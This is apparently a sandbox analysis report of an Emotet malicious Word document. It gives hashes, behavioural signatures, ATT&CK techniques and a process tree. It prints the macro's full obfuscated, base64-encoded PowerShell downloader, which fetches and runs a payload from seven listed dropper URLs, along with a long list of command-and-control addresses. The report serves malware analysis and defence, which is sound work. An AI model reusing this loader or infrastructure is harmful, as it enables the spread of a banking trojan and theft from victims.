emotet | fc18c0da152741b364aec9b87761a496b8353418136db33e02d4debd00aced5d

Analysis

max time kernel
135s
max time network
168s
platform
windows10_x64
resource
win10
submitted
20/08/2020, 02:44

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General

Target
emotet_e2_fc18c0da152741b364aec9b87761a496b8353418136db33e02d4debd00aced5d_2020-08-20__024207._doc.doc
Size 192KB
Sample200820-4b4cdlmdnj
SHA256 fc18c0da152741b364aec9b87761a496b8353418136db33e02d4debd00aced5d
MD5 a7e3b8decb6c03f1d13646b4a8a0d37a
SHA1 84c49c6b79726ee2fcd809bcfd0448a3b8aa8e87
SHA512 dfd86b5cd93dc782fc41ae3bd8e0f1c499eb1d2222fd94788cc77835f62978f4a82b60f97d85fb7e7cf9a9c440ba63b34fc60d2ded01d5eb9b34c544567e401a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://eschricht.com/Carsten/JhAUO/
exe.dropper
http://hohwy.com/cgi-bin/jXbWR/
exe.dropper
http://f8computer.de/Organisation/xV3/
exe.dropper
http://pelumovil.com/wp-admin/WLpuIk/
exe.dropper
http://vonnahme.com/cgi-bin/NVzNNhc/
exe.dropper
http://www.inkarainbow.com/z0g/
exe.dropper
https://andaluzademarqueteria.com/area_cliente/5SvFmfd/

Extracted

Family

emotet

70.121.172.89:80
116.202.234.183:8080
69.30.203.214:8080
185.94.252.104:443
64.183.73.122:80
190.55.181.54:443
37.70.8.161:80
174.137.65.18:80
203.153.216.189:7080
109.116.214.124:443
93.51.50.171:8080
190.160.53.126:80
222.214.218.37:4143
87.106.136.232:8080
113.160.130.116:8443
174.102.48.180:80
79.98.24.39:8080
189.212.199.126:443
89.186.91.200:443
24.233.112.152:80
181.230.116.163:80
85.152.162.105:80
104.131.11.150:443
153.163.83.106:80
68.44.137.144:443
97.82.79.83:80
85.105.205.77:8080
104.236.246.93:8080
24.43.99.75:80
199.101.86.142:8080
74.120.55.163:80
176.111.60.55:8080
47.144.21.12:443
109.74.5.95:8080
47.146.117.214:80
116.203.32.252:8080
98.109.204.230:80
173.62.217.22:443
107.185.211.16:80
61.19.246.238:443
5.196.74.210:8080
200.41.121.90:80
91.211.88.52:7080
24.137.76.62:80
85.66.181.138:80
70.167.215.250:8080
203.117.253.142:80
204.197.146.48:80
142.105.151.124:443
167.86.90.214:8080
139.130.242.43:80
157.147.76.151:80
187.161.206.24:80
137.59.187.107:8080
81.2.235.111:8080
95.213.236.64:8080
201.173.217.124:443
87.106.139.101:8080
93.147.212.206:80
24.179.13.119:80
152.168.248.128:443
95.179.229.244:8080
41.60.200.34:80
139.59.60.244:8080
2.58.16.85:7080
46.105.131.79:8080
78.24.219.147:8080
75.139.38.211:80
168.235.67.138:7080
110.145.77.103:80
62.75.141.82:80
68.188.112.97:80
180.92.239.110:8080
104.131.44.150:8080
67.205.85.243:8080
103.86.49.11:8080
74.208.45.104:8080
37.187.72.193:8080
157.245.99.39:8080
37.139.21.175:8080
5.39.91.110:7080
209.141.54.221:8080
188.83.220.2:443
169.239.182.217:8080
83.169.36.251:8080
121.124.124.40:7080
200.114.213.233:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3584	3972	powersheLL.exe	68

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1052-14-0x0000000000550000-0x000000000055C000-memory.dmp	emotet
behavioral2/memory/1052-14-0x0000000000550000-0x000000000055C000-memory.dmp	emotet
behavioral2/memory/1656-17-0x0000000002000000-0x000000000200C000-memory.dmp	emotet
behavioral2/memory/1656-17-0x0000000002000000-0x000000000200C000-memory.dmp	emotet
behavioral2/memory/1052-19-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	3584	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1052	Padovoqv3.exe
1656	webservices.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iscsicpl\webservices.exe	Padovoqv3.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2100	1052	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3584	powersheLL.exe
3584	powersheLL.exe
3584	powersheLL.exe
1656	webservices.exe
1656	webservices.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
2100	WerFault.exe
1656	webservices.exe
1656	webservices.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3584	powersheLL.exe
Token: SeRestorePrivilege	2100	WerFault.exe
Token: SeBackupPrivilege	2100	WerFault.exe
Token: SeDebugPrivilege	2100	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
3024	WINWORD.EXE
1052	Padovoqv3.exe
1052	Padovoqv3.exe
1656	webservices.exe
1656	webservices.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3584 wrote to memory of 1052	3584	powersheLL.exe	74
PID 3584 wrote to memory of 1052	3584	powersheLL.exe	74
PID 3584 wrote to memory of 1052	3584	powersheLL.exe	74
PID 1052 wrote to memory of 1656	1052	Padovoqv3.exe	76
PID 1052 wrote to memory of 1656	1052	Padovoqv3.exe	76
PID 1052 wrote to memory of 1656	1052	Padovoqv3.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_fc18c0da152741b364aec9b87761a496b8353418136db33e02d4debd00aced5d_2020-08-20__024207._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3024

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBADEAYQA5ADUAbQAzAD0AKAAnAFkAJwArACcAaQAnACsAJwBhAHEAeAA4ADcAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBwAFwAbwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAUgBgAGkAdABgAFkAUABSAE8AVABgAE8AYwBvAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAJwArACcAMQAyACwAJwArACcAIAB0AGwAcwAnACsAJwAxADEALAAgAHQAbABzACcAKQA7ACQAUgBxAGcAZABrAHMAMgAgAD0AIAAoACcAUABhAGQAJwArACcAbwB2ACcAKwAnAG8AcQB2ADMAJwApADsAJABPAHEAawBpAGsAZwA3AD0AKAAnAEcANwB5AG8AeQBqACcAKwAnAHMAJwApADsAJABQAGoAaQBzAHgAeABsAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBFADUAbABPACcAKwAnAGYAZgBpAGMAZQAyADAAMQAnACsAJwA5AEUANQBsACcAKQAuACIAcgBFAGAAcABsAGAAQQBDAEUAIgAoACgAWwBDAGgAYQBSAF0ANgA5ACsAWwBDAGgAYQBSAF0ANQAzACsAWwBDAGgAYQBSAF0AMQAwADgAKQAsACcAXAAnACkAKQArACQAUgBxAGcAZABrAHMAMgArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQATwBvAHgANwBfADMAdQA9ACgAJwBNAGsAJwArACcAbwBtAHgAeABrACcAKQA7ACQATwA4AHMAMQB5ADUANwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAQgBDAGwAaQBlAG4AdAA7ACQARgBkAGEAaQA4AHEAbAA9ACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGUAJwArACcAcwBjAGgAcgBpAGMAaAAnACsAJwB0AC4AYwBvACcAKwAnAG0ALwAnACsAJwBDACcAKwAnAGEAcgBzAHQAJwArACcAZQBuAC8ASgBoAEEAVQBPAC8AKgBoAHQAJwArACcAdABwADoALwAvACcAKwAnAGgAbwBoACcAKwAnAHcAeQAnACsAJwAuAGMAbwBtAC8AYwBnAGkALQAnACsAJwBiAGkAbgAvAGoAWAAnACsAJwBiAFcAJwArACcAUgAnACsAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwA6AC8AJwArACcALwBmADgAYwBvACcAKwAnAG0AcAAnACsAJwB1AHQAZQByAC4AZABlAC8ATwAnACsAJwByAGcAYQBuAGkAcwBhAHQAJwArACcAaQBvAG4ALwAnACsAJwB4AFYAMwAnACsAJwAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwBwAGUAJwArACcAbAAnACsAJwB1AG0AbwB2AGkAbAAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AJwArACcAVwBMAHAAdQBJAGsALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AdgAnACsAJwBvACcAKwAnAG4AbgBhACcAKwAnAGgAbQBlAC4AYwBvAG0ALwBjAGcAJwArACcAaQAnACsAJwAtACcAKwAnAGIAaQBuAC8AJwArACcATgAnACsAJwBWAHoATgBOAGgAYwAvACoAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwB3ACcAKwAnAHcAdwAuAGkAbgBrACcAKwAnAGEAcgBhACcAKwAnAGkAbgAnACsAJwBiAG8AJwArACcAdwAuAGMAbwAnACsAJwBtAC8AegAnACsAJwAwACcAKwAnAGcALwAnACsAJwAqAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBhAG4AZABhAGwAdQB6AGEAZAAnACsAJwBlAG0AYQByAHEAdQBlAHQAJwArACcAZQAnACsAJwByAGkAYQAnACsAJwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAYQAnACsAJwByAGUAJwArACcAYQBfAGMAbAAnACsAJwBpACcAKwAnAGUAJwArACcAbgB0ACcAKwAnAGUALwA1AFMAJwArACcAdgAnACsAJwBGACcAKwAnAG0AZgBkAC8AJwApAC4AIgBTAGAAUABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAcAAzAGwAOAAxADkAPQAoACcATwBuAHgAXwAnACsAJwBoAGgAJwArACcAbQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAHcAcwBrAHcAegBsACAAaQBuACAAJABGAGQAYQBpADgAcQBsACkAewB0AHIAeQB7ACQATwA4AHMAMQB5ADUANwAuACIARABPAFcATgBsAGAAbwBBAGAARABGAEkATABlACIAKAAkAFIAdwBzAGsAdwB6AGwALAAgACQAUABqAGkAcwB4AHgAbAApADsAJABYAHQANQBiADAANwBwAD0AKAAnAFgAJwArACcAXwAxAF8AJwArACcANAB0AHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFAAagBpAHMAeAB4AGwAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADIANAA1ADAAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQAUABqAGkAcwB4AHgAbAApADsAJABHAGkAagByAGcAZgA1AD0AKAAnAFUAbAB4ACcAKwAnAGYAdQAnACsAJwBjAGwAJwApADsAYgByAGUAYQBrADsAJABPAHAAZAA1AGkAcQBrAD0AKAAnAEEAcAAnACsAJwA5AGEAOQBiAGIAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBAG8AMABfAGMAbgAyAD0AKAAnAFoAJwArACcAdwBnAHYANAB4ACcAKwAnAG0AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3584
- C:\Users\Admin\AppData\Local\Temp\Office2019\Padovoqv3.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Padovoqv3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\SysWOW64\iscsicpl\webservices.exe
    "C:\Windows\SysWOW64\iscsicpl\webservices.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1656
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1052 -s 500
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1052-14-0x0000000000550000-0x000000000055C000-memory.dmp

Download

memory/1656-17-0x0000000002000000-0x000000000200C000-memory.dmp

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memory/2100-20-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

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memory/2100-18-0x0000000004460000-0x0000000004461000-memory.dmp

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memory/3024-5-0x000002AF8B5B7000-0x000002AF8B5C8000-memory.dmp

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memory/3024-7-0x000002AF8B7B9000-0x000002AF8B7C8000-memory.dmp

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memory/3024-6-0x000002AF8B7B9000-0x000002AF8B7C8000-memory.dmp

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memory/3024-0-0x00007FFF59CC0000-0x00007FFF5A386000-memory.dmp

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memory/3024-4-0x000002AF8B5B7000-0x000002AF8B5C8000-memory.dmp

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memory/3024-3-0x000002AF8B5B7000-0x000002AF8B5C8000-memory.dmp

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memory/3024-2-0x000002AF8B5B7000-0x000002AF8B5C8000-memory.dmp

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memory/3024-1-0x000002AF8B66A000-0x000002AF8B66F000-memory.dmp

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memory/3584-10-0x0000020B62150000-0x0000020B62151000-memory.dmp

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memory/3584-9-0x0000020B61FA0000-0x0000020B61FA1000-memory.dmp

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memory/3584-8-0x00007FFF51F90000-0x00007FFF5297C000-memory.dmp

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